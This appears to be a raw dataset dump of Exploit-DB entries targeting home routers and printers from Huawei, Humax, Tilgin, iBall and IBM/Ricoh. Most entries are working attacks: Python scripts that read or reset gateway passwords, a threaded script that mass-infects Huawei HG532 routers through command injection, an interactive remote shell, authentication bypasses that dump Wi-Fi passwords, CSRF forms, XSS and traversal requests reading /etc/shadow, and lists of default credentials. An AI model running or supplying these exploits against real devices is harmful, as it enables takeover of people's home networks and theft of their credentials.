deardaniel/secdata-raw huggingface dataset:
Exploit-DB #37425
Description: Huawei Home Gateway UPnP/1.0 IGD/1.00 - Password Change
Type: webapps
Platform: hardware
Date: 2015-06-29
Author: Fady Mohammed Osman

Exploit:
#!/usr/bin/python

# Exploit Title: Huawei Home Gateway password change vulnerability
# Date: June 27, 2015
# Exploit Author: Fady Mohamed Osman (@fady_osman)
# Vendor Homepage: http://www.huawei.com/en/
# Software Link: N/A.
# Version: UPnP/1.0 IGD/1.00
# Tested on: HG530 - HG520b (Provided by TE-DATA egypt)
# Exploit-db : http://www.exploit-db.com/author/?a=2986
# Youtube : https://www.youtube.com/user/cutehack3r

import socket
import sys
import re

if len(sys.argv) !=3:
    print "[*] Please enter the target ip and the new password."
    print "[*] Usage : " + sys.argv[0] + " IP_ADDR NEW_PASS"
    exit()

# Create a TCP/IP socket
target_host = sys.argv[1]
new_pass = sys.argv[2]
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect the socket to the port where the server is listening
server_address = (target_host, 80)
print >>sys.stderr, '[*] Connecting to %s port %s' % server_address
sock.connect(server_address)
try:
    soap = "<?xml version=\"1.0\"?>"
    soap +="<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
    soap +="<s:Body>"
    soap +="<m:SetLoginPassword xmlns:m=\"urn:dslforum-org:service:UserInterface:1\">"
    soap +="<NewUserpassword>"+new_pass+"</NewUserpassword>"
    soap +="</m:SetLoginPassword>"
    soap +="</s:Body>"
    soap +="</s:Envelope>"
    message = "POST /UD/?5 HTTP/1.1\r\n"
    message += "SOAPACTION: \"urn:dslforum-org:service:UserInterface:1#SetLoginPassword\"\r\n"
    message += "Content-Type: text/xml; charset=\"utf-8\"\r\n"
    message += "Host:" + target_host + "\r\n"
    message += "Content-Length: " + str(len(soap)) + "\r\n"
    message += "Expect: 100-continue\r\n"
    message += "Connection: Keep-Alive\r\n\r\n"
    sock.send(message)
    data = sock.recv(1024)
    print "[*] Recieved : " + data.strip()
    sock.send(soap)
    data = sock.recv(1024)
    data += sock.recv(1024)
    print "[*] Done."
finally:
    sock.close()
Exploit-DB #37424
Description: Huawei Home Gateway UPnP/1.0 IGD/1.00 - Password Disclosure
Type: webapps
Platform: hardware
Date: 2015-06-29
Author: Fady Mohammed Osman

Exploit:
#!/usr/bin/python

# Exploit Title: Huawei Home Gateway password disclosure
# Date: June 27, 2015
# Exploit Author: Fady Mohamed Osman (@fady_osman)
# Vendor Homepage: http://www.huawei.com/en/
# Software Link: N/A.
# Version: UPnP/1.0 IGD/1.00
# Tested on: HG530 - HG520b (Provided by TE-DATA egypt)
# Exploit-db : http://www.exploit-db.com/author/?a=2986
# Youtube : https://www.youtube.com/user/cutehack3r

import socket
import sys
import re

if len(sys.argv) !=2:
    print "[*] Please enter the target ip."
    print "[*] Usage : " + sys.argv[0] + " IP_ADDR"
    exit()
# Create a TCP/IP socket
target_host = sys.argv[1]
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect the socket to the port where the server is listening
server_address = (target_host, 80)
print >>sys.stderr, '[*] Connecting to %s port %s' % server_address
sock.connect(server_address)
try:
    soap = "<?xml version=\"1.0\"?>"
    soap +="<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
    soap +="<s:Body>"
    soap +="<m:GetLoginPassword xmlns:m=\"urn:dslforum-org:service:UserInterface:1\">"
    soap +="</m:GetLoginPassword>"
    soap +="</s:Body>"
    soap +="</s:Envelope>"
    message = "POST /UD/?5 HTTP/1.1\r\n"
    message += "SOAPACTION: \"urn:dslforum-org:service:UserInterface:1#GetLoginPassword\"\r\n"
    message += "Content-Type: text/xml; charset=\"utf-8\"\r\n"
    message += "Host:" + target_host + "\r\n"
    message += "Content-Length:" + str(len(soap)) +"\r\n"
    message += "Expect: 100-continue\r\n"
    message += "Connection: Keep-Alive\r\n\r\n"
    sock.send(message)
    data = sock.recv(1024)
    print "[*] Recieved : " + data.strip()
    sock.send(soap)
    data = sock.recv(1024)
    data += sock.recv(1024)
    #print data
    r = re.compile('<NewUserpassword>(.*?)</NewUserpassword>')
    m = r.search(data)
    if m:
        print "[*] Found the password: " + m.group(1)
finally:
    sock.close()
Exploit-DB #43414
Description: Huawei Router HG532 - Arbitrary Command Execution
Type: webapps
Platform: hardware
Date: 2017-12-25
Author: anonymous

Exploit:
import threading, sys, time, random, socket, re, os, struct, array, requests
from requests.auth import HTTPDigestAuth
ips = open(sys.argv[1], "r").readlines()
cmd = "" # Your MIPS (SSHD)
rm = "<?xml version=\"1.0\" ?>\n    <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n    <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n    <NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n    </s:Body>\n    </s:Envelope>"

class exploit(threading.Thread):
		def __init__ (self, ip):
			threading.Thread.__init__(self)
			self.ip = str(ip).rstrip('\n')
		def run(self):
			try:
				url = "http://" + self.ip + ":37215/ctrlt/DeviceUpgrade_1"
				requests.post(url, timeout=5, auth=HTTPDigestAuth('dslf-config', 'admin'), data=rm)
				print "[SOAP] Attempting to infect " + self.ip
			except Exception as e:
				pass

for ip in ips:
	try:
		n = exploit(ip)
		n.start()
		time.sleep(0.03)
	except:
		pass
Exploit-DB #45991
Description: Huawei Router HG532e - Command Execution
Type: webapps
Platform: hardware
Date: 2018-12-14
Author: Rebellion

Exploit:
#!/bin/python
'''
    Author : Rebellion
    Github : @rebe11ion
    Twitter : @rebellion
'''

import urllib2,requests,os,sys
from requests.auth import HTTPDigestAuth
DEFAULT_HEADERS = {"User-Agent": "Mozilla", }
DEFAULT_TIMEOUT = 5
def fetch_url(url):
    global DEFAULT_HEADERS, DEFAULT_TIMEOUT
    request = urllib2.Request(url, headers=DEFAULT_HEADERS)
    data = urllib2.urlopen(request, timeout=DEFAULT_TIMEOUT).read()
    return data

def exploit(ip, path):
    url = "http://%s:37215/icon/../../../%s" % (ip, path)
    data = fetch_url(url)
    return data

def main():
    pwd = "/"
    cmd_path = "/tmp/ccmd"
    pwd_path = "/tmp/cpwd"
    while True:
       targetip = sys.argv[1]
       cmd_ = raw_input("[{}]$ ".format(pwd))
       cmd = "cd {} ; {} > {} ; pwd > {}".format(pwd,cmd_.split("|")[0],cmd_path,pwd_path)
       rm = "<?xml version=\"1.0\" ?>\n    <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n    <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n    <NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n    </s:Body>\n    </s:Envelope>"
       url = "http://192.168.1.1:37215/ctrlt/DeviceUpgrade_1"
       requests.post(url, auth=HTTPDigestAuth('dslf-config', 'admin'), data=rm)
       assert cmd_path.startswith("/"), "An absolute path is required"
       data = exploit(targetip, cmd_path)
       open(cmd_path,"wb").write(data)
       if "cd" in cmd_:
          pass
       elif "clear" in cmd_:
          os.system("clear")
       elif "cat" in cmd_:
          os.system(cmd_.replace(cmd_.split("cat")[1].split(" ")[1],cmd_path))
       else:
          if "|" in cmd_:
             os.system("cat {} | {}".format(cmd_path,cmd_.split("|")[1]))
          else:
             os.system("cat {}".format(cmd_path))
       [CREDENTIAL_REDACTED](targetip,pwd_path).strip("\n")

if __name__ == "__main__":
    main()
Exploit-DB #42732
Description: Humax Wi-Fi Router HG100R 2.0.6 - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2017-09-14
Author: Kivson

Exploit:
# coding: utf-8

# Exploit Title: Humax HG100R-* Authentication Bypass
# Date: 14/09/2017
# Exploit Author: Kivson
# Vendor Homepage: http://humaxdigital.com
# Version: VER 2.0.6
# Tested on: OSX Linux
# CVE : CVE-2017-11435


# The Humax Wi-Fi Router model HG100R-* 2.0.6 is prone to an authentication bypass vulnerability via specially
# crafted requests to the management console. The bug is exploitable remotely when the router is configured to
# expose the management console.
# The router is not validating the session token while returning answers for some methods in url '/api'.
# An attacker can use this vulnerability to retrieve sensitive information such
# as private/public IP addresses, SSID names, and passwords.

import sys
import requests


def print_help():
    print('Exploit syntax error, Example:')
    print('python exploit.py http://192.168.0.1')


def exploit(host):
    print(f'Connecting to {host}')
    path = '/api'
    payload = '{"method":"QuickSetupInfo","id":90,"jsonrpc":"2.0"}'

    response = requests.post(host + path, data=payload)
    response.raise_for_status()

    if 'result' not in response.json() or 'WiFi_Info' not in response.json()['result'] or 'wlan' not in \
            response.json()['result']['WiFi_Info']:
        print('Error, target may be no exploitable')
        return

    for wlan in response.json()['result']['WiFi_Info']['wlan']:
        print(f'Wifi data found:')
        print(f'    SSID: {wlan["ssid"]}')
        print(f'    PWD: {wlan["password"]}')


def main():
    if len(sys.argv) < 2:
        print_help()
        return
    host = sys.argv[1]
    exploit(host)


if __name__ == '__main__':
    main()
Exploit-DB #39951
Description: Hyperoptic (Tilgin) Router HG23xx - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2016-06-15
Author: LiquidWorm

Exploit:
Hyperoptic (Tilgin) Router HG23xx Multiple XSS And CSRF Vulnerabilities


Vendor: Hyperoptic Ltd. | Tilgin AB
Product web page: http://www.hyperoptic.com
                  http://www.tilgin.com
Affected version: HG2330, HG2302 and HG2301

Summary: Tilgin's HG23xx family of products offers a flexible and
high capacity product in a tiny form factor. When having the product
in your hands, do not get fooled by its mere size. The product offers
full gigabit routing and a state of the art superior WLAN solution.
It runs all services offered with Tilgin HGA and is prepared for all
foreseeable future services. The product is also offered in an entry
level version with fast Ethernet LAN ports, still with gigabit Ethernet
WAN. The routing capacity and excellent WLAN remains the same also on
this model, the only limit being the fast Ethernet LAN ports.

Desc: The application allows users to perform certain actions via HTTP
requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site. XSS issues
were also discovered. The issue is triggered when input passed via multiple
POST and GET parameters are not properly sanitized before being returned
to the user. This can be exploited to execute arbitrary HTML and script
code in a user's browser session in context of an affected site.


Tested on: lighttpd/1.4.26-devel-166445
           lighttpd/1.4.26-devel-163573


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5329
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5329.php


11.05.2016

--



Default credentials:
--------------------

user/user
admin/admin
admin/abcd2301


XSS PoC:
--------

POST /advanced/firewall_templates/ HTTP/1.1
Host: 192.168.1.1

__form=new&name=test"><script>prompt(1)</script>


Response:

[..snip..]
<INPUT type="hidden" name="name" value="test"><script>prompt(1)</script>">
[..snip..]



CSRF Add Storage (HTTP/SMB) User:
---------------------------------

<html>
  <body>
    <form action="http://192.168.1.1/storage/users/" method="POST">
      <input type="hidden" name="&#95;&#95;form" value="new" />
      <input type="hidden" name="name" value="testuser" />
      <input type="hidden" name="password" value="testpass" />
      <input type="submit" value="Submit" />
    </form>
  </body>
</html>



CSRF Change Admin Password:
---------------------------

<html>
  <body>
    <form action="http://192.168.1.1/tools/admin_account/" method="POST">
      <input type="hidden" name="&#95;&#95;form" value="user" />
      <input type="hidden" name="name" value="admin" />
      <input type="hidden" name="password" value="NEWPASS" />
      <input type="submit" value="Submit" />
    </form>
  </body>
</html>
Exploit-DB #42740
Description: iBall ADSL2+ Home Router - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2017-09-18
Author: Gem George

Exploit:
# Exploit Title: iBall ADSL2+ Home Router Authentication Bypass Vulnerability
# CVE: CVE-2017-14244
# Date: 15-09-2017
# Exploit Author: Gem George
# Author Contact: https://www.linkedin.com/in/gemgrge
# Vulnerable Product: iBall ADSL2+ Home Router WRA150N https://www.iball.co.in/Product/ADSL2--Home-Router/746
# Firmware version: FW_iB-LR7011A_1.0.2
# Vendor Homepage: https://www.iball.co.in
# Reference: https://www.techipick.com/iball-baton-adsl2-home-router-utstar-wa3002g4-adsl-broadband-modem-authentication-bypass


Vulnerability Details
======================
iBall ADSL2+ Home Router does not properly authenticate when pages are accessed through cgi version. This could potentially allow a remote attacker access sensitive information and perform actions such as reset router, downloading backup configuration, upload backup etc.

How to reproduce
===================
Suppose 192.168.1.1 is the router IP and one of the valid page in router is is  http://192.168.1.1/abcd.html, then the page can be directly accessed as as http://192.168.1.1/abcd.cgi

Example URLs:
* http://192.168.1.1/info.cgi – Status and details
* http://192.168.1.1/upload.cgi – Firmware Upgrade
* http://192.168.1.1/backupsettings.cgi – perform backup settings to PC
* http://192.168.1.1/pppoe.cgi – PPPoE settings
* http://192.168.1.1/resetrouter.cgi – Router reset
* http://192.168.1.1/password.cgi – password settings

POC
=========
* https://www.youtube.com/watch?v=_SvrwCSdn54


 -----------------------Greetz----------------------
++++++++++++++++++ www.0seccon.com ++++++++++++++++++
 Saran,Jithin,Dhani,Vignesh,Hemanth,Sudin,Vijith,Joel
Exploit-DB #44043
Description: iBall WRA150N - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2018-01-29
Author: SecuriTeam

Exploit:
## Vulnerabilities summary
The following advisory describes two (2) vulnerabilities found in iB-WRA150N devices, firmware 1.2.6 build 110401 Rel.47776n.

iB-WRA150N is “a powerful solution to Internet connectivity at home, small offices and work stations. The key is if you are using an ADSL2+ connection now and later decide to change to Broadband or vice-versa you don’t need to change your router. This iBall router is 2-in-1 and compatible to both – Broadband connection as well as ADSL2 connection (Telephone connection or cable operator connection). ”

The vulnerabilities found are:

Hard coded accounts
Remote command execution

## Credit
An independent security researcher, maxki4x, has reported this vulnerabilities to Beyond Security’s SecuriTeam Secure Disclosure program.

## Vendor response
We tried to contact iBall since December 20 2017, repeated attempts to establish contact were answered, but no details have been provided on a solution or a workaround.

CVE: CVE-2018-6388

## Vulnerabilities details

Hard coded accounts
Username: admin
Password: admin

Username: support
[CREDENTIAL_REDACTED]

Username: user
Password: user

## Remote command execution
After we logged in to the victims router – using the hard coded accounts, we can trigger the second vulnerability and achieve remote command execution.

User controlled input is not sufficiently filtered, allowing user to inject arbitrary commands into ping test arguments in Diagnostics page.

By entering the following input in the ping test arguments in Diagnostics page, the attacker can get the /etc/passwd file:

```
127.0.0.1;cat/etc/passwd
```
Exploit-DB #49386
Description: iBall-Baton WRA150N Rom-0 Backup - File Disclosure (Sensitive Information)
Type: webapps
Platform: hardware
Date: 2021-01-07
Author: h4cks1n

Exploit:
# Exploit Title: iBall-Baton WRA150N Rom-0 Backup - File Disclosure (Sensitive Information)
# Date: 07/01/2021
# Exploit Author: h4cks1n
# Vendor Homepage: iball.co.in
# Version: iBall-Baton WRA150N
#Tested on : Windows 7/8/8.1/10, Parrot Linux OS


# The iBall-Baton router version WRA150N is vulnerable to the Rom-0
Extraction exploit.

The rom-0 is a file which contains the ADSL Login credentials.

In the case of this router the access to this file is unusually not
encrypted.

The file can be accessed by following methods:


Method 1 : Type the WiFi IP address in the browser followed by /rom-0 (For
example - 192.168.1.1/rom-0). The rom-0 file will be downloaded. The file
is obfuscated,however.It needs to be deobfuscated using online decryptors

#Online Rom-0 decryptor - http://www.routerpwn.com/zynos/
#Offline Rom-0 decryptor - https://github.com/rootkick/Rom-0-Decoder

Method 2: (Linux)
This full process can be automated by using threat 9's routersploit

Routersploit Download- https://github.com/threat9/routersploit

Download and run routersploit and use router/multi/rom-0  module
Exploit-DB #47835
Description: IBM InfoPrint 4247-Z03 Impact Matrix Printer - Directory Traversal
Type: webapps
Platform: hardware
Date: 2020-01-01
Author: Raif Berkay Dincel

Exploit:
# Exploit Title: IBM InfoPrint 4247-Z03 Impact Matrix Printer - Directory Traversal
# Date: 2020-01-01
# Exploit Author: Raif Berkay Dincel
# Vendor Homepage: ibm.com
# Software https://www-01.ibm.com/common/ssi/cgi-bin/ssialias?subtype=ca&infotype=an&appname=iSource&supplier=897&letternum=ENUS107-295
# Version: 1.11
# CVE-ID: N/A
# Tested on: Linux Mint / Windows 10
# Vulnerabilities Discovered Date : 2019/06/10

# Vulnerable Parameter Type: GET
# Vulnerable Parameter: TARGET/[Payload]

# Proof of Concepts:

TARGET/./../../../../../../../../../../etc/shadow

# Request:

GET /./../../../../../../../../../../etc/shadow HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=UTF-8
Connection: close

# Response:

root:::XXXXX
www-data:::XXXXX
nobody:::XXXXX
default:::XXXXX
Exploit-DB #47918
Description: IBM RICOH 6400 Printer - HTML Injection
Type: webapps
Platform: hardware
Date: 2020-01-14
Author: Ismail Tasdelen

Exploit:
# Exploit Title: IBM RICOH 6400 Printer - HTML Injection
# Date: 2020-01-02 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.ibm.com/il-en
# Hardware Link: https://www-01.ibm.com/common/ssi/cgi-bin/ssialias?infotype=AN&subtype=CA&htmlfid=649/ENUSA02-1405&appname=USN
# Firmware Version: 1.1.26.3
# Vulernability Type: Code Injection
# Vulenrability: HTML Injection
# CVE: N/A

# Description :
# Ricoh InfoPrint 6400 devices allow /config?logpathConf.html
# HTML Injection by authenticated users, as demonstrated by the 420 parameter.

HTTP Request :

POST /config?logpathConf.html HTTP/1.1
Host: SERVER
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Origin: SERVER
Authorization: Basic cm9vdDpyb290
Connection: close
Referer: http://SERVER/config?logpathConf.html
Upgrade-Insecure-Requests: 1

428=&420=%22%3E%3Cmarquee%3EIsmail+Tasdelen&548=5&564=

HTTP Response :

HTTP/1.0 200 OK
Server: Microplex emHTTPD/1.0
Content-Type: text/html
Exploit-DB #47850
Description: IBM RICOH Infoprint 1532 Printer - Persistent Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2020-01-06
Author: Ismail Tasdelen

Exploit:
# Exploit Title: IBM RICOH Infoprint 1532 Printer - Persistent Cross-Site Scripting
# Date: 2020-01-02 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.ibm.com/il-en
# Hardware Link: https://www-01.ibm.com/common/ssi/cgi-bin/ssialias?infotype=AN&subtype=CA&htmlfid=897/ENUS105-476&appname=USN
# Vulernability Type: Cross-site Scripting
# Vulenrability: Stored XSS
# CVE: N/A

# Description :
# Ricoh (IBM) InfoPrint 1532 devices allow Stored XSS via the 1.network.6.10 parameter to the
# cgi-bin/posttest/cgi-bin/dynamic/config/gen/general.html URI. (HTML Injection can also occur.)

HTTP Request :

POST /cgi-bin/posttest/cgi-bin/dynamic/config/gen/general.html HTTP/1.1
Host: 134.84.35.70
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 281
Origin: https://134.84.35.70
Connection: close
Referer: https://134.84.35.70/cgi-bin/dynamic/config/gen/general.html
Upgrade-Insecure-Requests: 1

0.printer.1.14=0&0.mfp.1.2=0&0.mfp.1.3=0&0.mfp.1.1=30&0.mfp.100.11=30&0.printer.4.258=1&1.network.6.10=%22%3E%3Cscript%3Ealert%28%22ismailtasdelen%22%29%3C%2Fscript%3E&1.network.6.11=&0.network.6.4=90&1.network.6.69=[PII_REDACTED]00&2.network.6.63=0&0.network.10.73=120&1.printer.1.40=

HTTP Response :

HTTP/1.0 200 OK
Content-Type: text/html
Content-Length: 269
Exploit-DB #47917
Description: IBM RICOH InfoPrint 6500 Printer - HTML Injection
Type: webapps
Platform: hardware
Date: 2020-01-14
Author: Ismail Tasdelen

Exploit:
# Exploit Title: IBM RICOH InfoPrint 6500 Printer - HTML Injection
# Date: 2020-01-02 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.ibm.com/il-en
# Hardware Link: http://www-01.ibm.com/common/ssi/cgi-bin/ssialias?infotype=AN&subtype=CA&htmlfid=897/ENUS105-214
# Firmware Version: 1.4.40.10
# Vulernability Type: Code Injection
# Vulenrability: HTML Injection
# CVE: N/A

# Description :
# Ricoh InfoPrint 6500 devices allow /config?destConf.html
# HTML Injection by authenticated users, as demonstrated by the 166 parameter.

HTTP Request :

POST /config?destConf.html HTTP/1.1
Host: SERVER
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
Origin: SERVER
Authorization: Basic cm9vdDpyb290
Connection: close
Referer: http://SERVER/config?destConf.html
Upgrade-Insecure-Requests: 1

166=%22%3E%3Ch1%3EIsmail+Tasdelen&182=1&230=1&198=1&190=1&222=1&238=1&270=0&486=0

HTTP Response :

HTTP/1.0 200 OK
Server: Microplex emHTTPD/1.0
Content-Type: text/html